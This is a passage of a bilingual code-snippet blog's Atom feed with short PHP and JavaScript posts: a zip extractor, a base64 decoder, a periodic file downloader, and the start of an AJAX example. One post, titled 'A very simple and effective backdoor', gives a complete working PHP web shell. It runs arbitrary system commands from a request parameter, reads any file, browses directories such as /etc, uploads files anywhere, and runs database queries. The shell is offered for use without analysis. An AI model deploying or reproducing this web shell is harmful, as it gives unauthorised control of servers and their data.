href="#D21229279320687056"&gt;&lt;span&gt;PHP&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A21229279320687056"&gt;Dézipper un fichier avec PHP&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;Ce code crée un fonction unzip qui prend comme argument le fichier à décompresser&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B21229279320687056"&gt;Unzip a file with PHP&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;This code creates an unzip() function which take the name of the zipped file as argument&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C21229279320687056"&gt;&lt;div dir="rtl"&gt;&amp;nbsp;فتح ملف زيب بإستعمال PHP&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl"&gt;هذا السكريبت ينشئ وظيفة unzip تأخذ اسم الملف كمدخل&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D21229279320687056"&gt;&lt;a onClick='opennew("D21229279320687056")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;" &gt;&amp;lt;?php&lt;br /&gt;//###################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//###################################################&lt;br /&gt;&lt;br /&gt;function unzip($file, $path='', $effacer_zip=false)&lt;br /&gt;{&lt;br /&gt;$tab_liste_fichiers = array(); //Initialisation&lt;br /&gt;&lt;br /&gt;$zip = zip_open($file);&lt;br /&gt;&lt;br /&gt;if ($zip)&lt;br /&gt;{&lt;br /&gt;while ($zip_entry = zip_read($zip)) //Pour chaque fichier contenu dans le fichier zip&lt;br /&gt;{&lt;br /&gt;if (zip_entry_filesize($zip_entry) &gt; 0)&lt;br /&gt;{&lt;br /&gt;$complete_path = $path.dirname(zip_entry_name($zip_entry));&lt;br /&gt;   &lt;br /&gt;/*On supprime les éventuels caractères spéciaux et majuscules*/&lt;br /&gt;$nom_fichier = zip_entry_name($zip_entry);&lt;br /&gt;&lt;br /&gt;$nom_fichier = strtolower($nom_fichier);&lt;br /&gt;$nom_fichier = ereg_replace('[^a-zA-Z0-9.]','-',$nom_fichier);&lt;br /&gt;&lt;br /&gt;/*On ajoute le nom du fichier dans le tableau*/&lt;br /&gt;array_push($tab_liste_fichiers,$nom_fichier);&lt;br /&gt; &lt;br /&gt;$complete_name = $path.$nom_fichier; //Nom et chemin de destination&lt;br /&gt; &lt;br /&gt;if(!file_exists($complete_path))&lt;br /&gt;{&lt;br /&gt;$tmp = '';&lt;br /&gt;foreach(explode('/',$complete_path) AS $k)&lt;br /&gt;{&lt;br /&gt;$tmp .= $k.'/';&lt;br /&gt; &lt;br /&gt;if(!file_exists($tmp))&lt;br /&gt;{ mkdir($tmp, 0755); }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;/*On extrait le fichier*/&lt;br /&gt;if (zip_entry_open($zip, $zip_entry, "r"))&lt;br /&gt;{&lt;br /&gt;$fd = fopen($complete_name, 'w');&lt;br /&gt; &lt;br /&gt;fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));&lt;br /&gt; &lt;br /&gt;fclose($fd);&lt;br /&gt;zip_entry_close($zip_entry);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;zip_close($zip);&lt;br /&gt;&lt;br /&gt;/*On efface éventuellement le fichier zip d'origine*/&lt;br /&gt;if ($effacer_zip === true)&lt;br /&gt;unlink($file);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return $tab_liste_fichiers;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**********************************************************/&lt;br /&gt;&lt;br /&gt;$liste = array();&lt;br /&gt;&lt;br /&gt;$liste = unzip('phpMyAdmin-3.2.0-english.zip','pma/');&lt;br /&gt;&lt;br /&gt;echo 'Le fichier zip contenait '.count($liste).' fichier(s) :&amp;lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;foreach ($liste as $nom_fichier)&lt;br /&gt;{&lt;br /&gt;echo $nom_fichier.'&amp;lt;br /&gt;';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-3893978067088063612?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/3893978067088063612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=3893978067088063612&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3893978067088063612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3893978067088063612'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-unzip-file-dezipper-un-fichier.html' title='[PHP] Unzip a file | Dézipper un fichier'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-7413817344108188613</id><published>2010-01-12T15:02:00.001-08:00</published><updated>2010-01-12T15:04:13.913-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='base64'/><category scheme='http://www.blogger.com/atom/ns#' term='decode'/><category scheme='http://www.blogger.com/atom/ns#' term='decoder'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>[PHP] Base64 decode | Décoder du base64</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A16539471875876188"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B16539471875876188"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C16539471875876188"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D16539471875876188"&gt;&lt;span&gt;PHP&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A16539471875876188"&gt;Décoder un base64&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;Utilisation:&lt;/div&gt;&lt;div&gt;/decode.php?c=[DATA HERE]&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B16539471875876188"&gt;Decode a base64&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;Usage:&lt;/div&gt;&lt;div&gt;/decode.php?c=[DATA HERE]&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C16539471875876188"&gt;&lt;div dir="rtl"&gt;فك ترميز base64&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl"&gt;الاستعمال&lt;/div&gt;&lt;div dir="rtl"&gt;/decode.php?c=[DATA HERE]&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D16539471875876188"&gt;&lt;a onClick='opennew("D16539471875876188")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;" &gt;&amp;lt;?php&lt;br /&gt;//############################################&lt;br /&gt;// more codes on codes-n-scripts.blogspot.com&lt;br /&gt;//############################################&lt;br /&gt;echo base64_decode($_GET['q']);&lt;br /&gt;?&gt; &lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-7413817344108188613?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/7413817344108188613/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=7413817344108188613&amp;isPopup=true' title='22 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/7413817344108188613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/7413817344108188613'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-base64-decode-decoder-du-base64.html' title='[PHP] Base64 decode | Décoder du base64'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-4621628891529457247</id><published>2010-01-12T14:54:00.000-08:00</published><updated>2010-01-12T14:54:19.572-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fichier'/><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='file'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='télécharger'/><title type='text'>[PHP] Download a file | Téléchargement de fichier avec PHP</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A83840426709502930"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B83840426709502930"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C83840426709502930"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D83840426709502930"&gt;&lt;span&gt;PHP&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A83840426709502930"&gt;Télécharger régulièrement un fichier.&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl" style="text-align: left;"&gt;Ici un exemple de téléchargement de carte des températures chaque 12 heures&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B83840426709502930"&gt;Download a file periodically.&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl" style="text-align: left;"&gt;Here is an example of downloading map temperatures every 12 hours&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C83840426709502930"&gt;&lt;div dir="rtl" style="zoom: 1; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;تنزيل ملف بشكل دوري.&lt;/span&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl" style="zoom: 1; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;هنا مثال عن تنزيل خريطة درجة الحرارة كل ١٢ ساعة&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D83840426709502930"&gt;&lt;a onClick='opennew("D83840426709502930")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;" &gt;&amp;lt;?php&lt;br /&gt;//##############################################################&lt;br /&gt;// more scripts on scripts-n-codes.blogspot.com&lt;br /&gt;//##############################################################&lt;br /&gt;//&lt;br /&gt;// frequently download a file&lt;br /&gt;// for example here &lt;br /&gt;&lt;br /&gt;// File to download&lt;br /&gt;$remoteFile = 'http://www.wzkarten3.de/pics/Reurmett.gif';&lt;br /&gt;&lt;br /&gt;// Local file for saving&lt;br /&gt;$localFile = "weather.gif";&lt;br /&gt;&lt;br /&gt;// Time to cache in hours&lt;br /&gt;$cacheTime = 12;&lt;br /&gt;&lt;br /&gt;// Connection time out&lt;br /&gt;$connTimeout = 10;&lt;br /&gt;&lt;br /&gt;if(!(file_exists($localFile) &amp;&amp; (time() - ($cacheTime * 3600) &amp;lt; filemtime($localFile)))){&lt;br /&gt;     $url = parse_url($remoteFile);&lt;br /&gt;     $host = $url['host'];&lt;br /&gt;     $path = isset($url['path']) ? $url['path'] : '/';&lt;br /&gt;&lt;br /&gt;     if (isset($url['query'])) {&lt;br /&gt;          $path .= '?' . $url['query'];&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;     $port = isset($url['port']) ? $url['port'] : '80';&lt;br /&gt;&lt;br /&gt;     $fp = @fsockopen($host, '80', $errno, $errstr, $connTimeout );&lt;br /&gt;&lt;br /&gt;     if(!$fp){&lt;br /&gt;          // If connection failed, return the cached file&lt;br /&gt;          if(file_exists($localFile)){&lt;br /&gt;               readfile($localFile);&lt;br /&gt;          }&lt;br /&gt;     }else{&lt;br /&gt;          // Header Info&lt;br /&gt;          $header = "GET $path HTTP/1.0\r\n";&lt;br /&gt;          $header .= "Host: $host\r\n";&lt;br /&gt;          $header .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\r\n";&lt;br /&gt;          $header .= "Accept: */*\r\n";&lt;br /&gt;          $header .= "Accept-Language: en-us,en;q=0.5\r\n";&lt;br /&gt;          $header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";&lt;br /&gt;          $header .= "Keep-Alive: 300\r\n";&lt;br /&gt;          $header .= "Connection: keep-alive\r\n";&lt;br /&gt;          $header .= "Referer: http://$host\r\n\r\n";&lt;br /&gt;&lt;br /&gt;           $response = '';&lt;br /&gt;          fputs($fp, $header);&lt;br /&gt;          // Get the file content&lt;br /&gt;          while($line = fread($fp, 4096)){&lt;br /&gt;               $response .= $line;&lt;br /&gt;          }&lt;br /&gt;          fclose( $fp );&lt;br /&gt;&lt;br /&gt;          // Remove Header Info&lt;br /&gt;          $pos = strpos($response, "\r\n\r\n");&lt;br /&gt;          $response = substr($response, $pos + 4);&lt;br /&gt;          echo $response;&lt;br /&gt;&lt;br /&gt;          // Save the file content&lt;br /&gt;          if(!file_exists($localFile)){&lt;br /&gt;               // Create the file, if it doesn't exist already&lt;br /&gt;               fopen($localFile, 'w');&lt;br /&gt;          }&lt;br /&gt;          if(is_writable($localFile)) {&lt;br /&gt;               if($fp = fopen($localFile, 'w')){&lt;br /&gt;                    fwrite($fp, $response);&lt;br /&gt;                    fclose($fp);&lt;br /&gt;               }&lt;br /&gt;          }&lt;br /&gt;     }&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-4621628891529457247?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/4621628891529457247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=4621628891529457247&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4621628891529457247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4621628891529457247'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-download-file-telechargement-de.html' title='[PHP] Download a file | Téléchargement de fichier avec PHP'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-7686514817932189634</id><published>2010-01-12T14:35:00.001-08:00</published><updated>2010-01-12T14:35:58.073-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='small script'/><category scheme='http://www.blogger.com/atom/ns#' term='backdoor'/><category scheme='http://www.blogger.com/atom/ns#' term='leger'/><category scheme='http://www.blogger.com/atom/ns#' term='simple'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>[PHP] A very simple and effective backdoor | Un backdoor simple et efficace</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A48218328133225440"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B48218328133225440"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C48218328133225440"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D48218328133225440"&gt;&lt;span&gt;PHP&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A48218328133225440"&gt;Un backdoor simple et efficace.&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl" style="text-align: left;"&gt;Sans commentaires&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B48218328133225440"&gt;A very simple and effective backdoor.&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl" style="text-align: left;"&gt;No comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C48218328133225440"&gt;&lt;div dir="rtl"&gt;باكدوور بسيط و فعال&amp;nbsp;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl"&gt;بدون تعليق&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D48218328133225440"&gt;&lt;a onClick='opennew("D48218328133225440")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;" &gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;//&lt;br /&gt;// a simple php backdoor&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;ob_implicit_flush();&lt;br /&gt;if(isset($_REQUEST['f'])){&lt;br /&gt;        $filename=$_REQUEST['f'];&lt;br /&gt;        $file=fopen("$filename","rb");&lt;br /&gt;        fpassthru($file);&lt;br /&gt;        die;&lt;br /&gt;}&lt;br /&gt;if(isset($_REQUEST['d'])){&lt;br /&gt;        $d=$_REQUEST['d'];&lt;br /&gt;        echo "&amp;lt;pre&gt;";&lt;br /&gt;        if ($handle = opendir("$d")) {&lt;br /&gt;        echo "&amp;lt;h2&gt;listing of $d&amp;lt;/h2&gt;";&lt;br /&gt;                   while ($dir = readdir($handle)){ &lt;br /&gt;                       if (is_dir("$d/$dir")) echo "&amp;lt;a href='$PHP_SELF?d=$d/$dir'&gt;&amp;lt;font color=grey&gt;";&lt;br /&gt;       else echo "&amp;lt;a href='$PHP_SELF?f=$d/$dir'&gt;&amp;lt;font color=black&gt;";&lt;br /&gt;                       echo "$dir\n"; &lt;br /&gt;                       echo "&amp;lt;/font&gt;&amp;lt;/a&gt;";&lt;br /&gt;                }&lt;br /&gt;                       &lt;br /&gt;        } else echo "opendir() failed";&lt;br /&gt;        closedir($handle);&lt;br /&gt;        die ("&amp;lt;hr&gt;"); &lt;br /&gt;}&lt;br /&gt;if(isset($_REQUEST['c'])){&lt;br /&gt; echo "&amp;lt;pre&gt;";&lt;br /&gt; system($_REQUEST['c']);     &lt;br /&gt; die;&lt;br /&gt;}&lt;br /&gt;if(isset($_REQUEST['upload'])){&lt;br /&gt;&lt;br /&gt;  if(!isset($_REQUEST['dir'])) die('hey,specify directory!');&lt;br /&gt;   else $dir=$_REQUEST['dir'];&lt;br /&gt;  $fname=$HTTP_POST_FILES['file_name']['name'];&lt;br /&gt;  if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))&lt;br /&gt;   die('file uploading error.');&lt;br /&gt;}&lt;br /&gt;if(isset($_REQUEST['mquery'])){&lt;br /&gt; &lt;br /&gt; $host=$_REQUEST['host'];&lt;br /&gt; $usr=$_REQUEST['usr'];&lt;br /&gt; $passwd=$_REQUEST['passwd'];&lt;br /&gt; $db=$_REQUEST['db'];&lt;br /&gt; $mquery=$_REQUEST['mquery'];&lt;br /&gt; mysql_connect("$host", "$usr", "$passwd") or&lt;br /&gt;    die("Could not connect: " . mysql_error());&lt;br /&gt;    mysql_select_db("$db");&lt;br /&gt;    $result = mysql_query("$mquery");&lt;br /&gt; if($result!=FALSE) echo "&amp;lt;pre&gt;&amp;lt;h2&gt;query was executed correctly&amp;lt;/h2&gt;\n";&lt;br /&gt;    while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);  &lt;br /&gt;    mysql_free_result($result);&lt;br /&gt; die;&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&amp;lt;pre&gt;&amp;lt;form action="&amp;lt;? echo $PHP_SELF; ?&gt;" METHOD=GET &gt;execute command: &amp;lt;input type="text" name="c"&gt;&amp;lt;input type="submit" value="go"&gt;&amp;lt;hr&gt;&amp;lt;/form&gt; &lt;br /&gt;&amp;lt;form enctype="multipart/form-data" action="&amp;lt;?php echo $PHP_SELF; ?&gt;" method="post"&gt;&amp;lt;input type="hidden" name="MAX_FILE_SIZE" value="1000000000"&gt;&lt;br /&gt;upload file:&amp;lt;input name="file_name" type="file"&gt;   to dir: &amp;lt;input type="text" name="dir"&gt;&amp;nbsp;&amp;nbsp;&amp;lt;input type="submit" name="upload" value="upload"&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;hr&gt;to browse go to http://&amp;lt;? echo $SERVER_NAME.$REQUEST_URI; ?&gt;?d=[directory here]&lt;br /&gt;&amp;lt;br&gt;for example:&lt;br /&gt;http://&amp;lt;? echo $SERVER_NAME.$REQUEST_URI; ?&gt;?d=/etc on *nix&lt;br /&gt;or http://&amp;lt;? echo $SERVER_NAME.$REQUEST_URI; ?&gt;?d=c:/windows on win&lt;br /&gt;&amp;lt;hr&gt;execute mysql query:&lt;br /&gt;&amp;lt;form action="&amp;lt;? echo $PHP_SELF; ?&gt;" METHOD=GET &gt;&lt;br /&gt;host:&amp;lt;input type="text" name="host"value="localhost"&gt;  user: &amp;lt;input type="text" name="usr" value=root&gt; password: &amp;lt;input type="text" name="passwd"&gt;&lt;br /&gt;&lt;br /&gt;database: &amp;lt;input type="text" name="db"&gt;  query: &amp;lt;input type="text" name="mquery"&gt; &amp;lt;input type="submit" value="execute"&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-7686514817932189634?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/7686514817932189634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=7686514817932189634&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/7686514817932189634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/7686514817932189634'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-very-simple-and-effective-backdoor.html' title='[PHP] A very simple and effective backdoor | Un backdoor simple et efficace'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-4019014238777108507</id><published>2010-01-12T14:25:00.001-08:00</published><updated>2010-01-14T11:37:06.018-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='refresh div'/><category scheme='http://www.blogger.com/atom/ns#' term='rafraichir div'/><category scheme='http://www.blogger.com/atom/ns#' term='XMLHttpRequest'/><category scheme='http://www.blogger.com/atom/ns#' term='ajax'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft.XMLHTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='navigateur'/><category scheme='http://www.blogger.com/atom/ns#' term='browser'/><title type='text'>[AJAX &amp;&amp; PHP &amp;&amp; HTML] A simple AJAX example | Un exemple simple d'utilisation de AJAX</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushXml.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushJScript.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A63979256339371210"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B63979256339371210"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C63979256339371210"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D63979256339371210"&gt;&lt;span&gt;JavaScript&amp;nbsp;(#3)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A63979256339371210"&gt;Un exemple de comment utiliser AJAX pour rafraichir une page sans l'actualiser...&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl" style="text-align: left;"&gt;Sans commentaires&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B63979256339371210"&gt;An example of how to use AJAX to refresh a page without updating it ...&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl" style="text-align: left;"&gt;No comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C63979256339371210"&gt;&lt;div dir="rtl"&gt;مثال عن كيفية إستعمال أجاكس لتحديث جزء من صفحة دون تحديثها كليا&amp;nbsp;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl"&gt;بدون تعليق&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D63979256339371210"&gt;&lt;a onClick='opennew("D63979256339371210")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: js;" &gt;//##################################################&lt;br /&gt;// find more codes on codes-n-scripts.blogspot.com&lt;br /&gt;//##################################################&lt;br /&gt;//&lt;br /&gt;// this is ajax.js file&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;function createRequestObject() {&lt;br /&gt;    var ro;&lt;br /&gt;    var browser = navigator.appName;&lt;br /&gt;    if(browser == "Microsoft Internet Explorer"){&lt;br /&gt;        ro = new ActiveXObject("Microsoft.XMLHTTP");&lt;br /&gt;    }else{&lt;br /&gt;        ro = new XMLHttpRequest();&lt;br /&gt;    }&lt;br /&gt;    return ro;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var http = createRequestObject();&lt;br /&gt;&lt;br 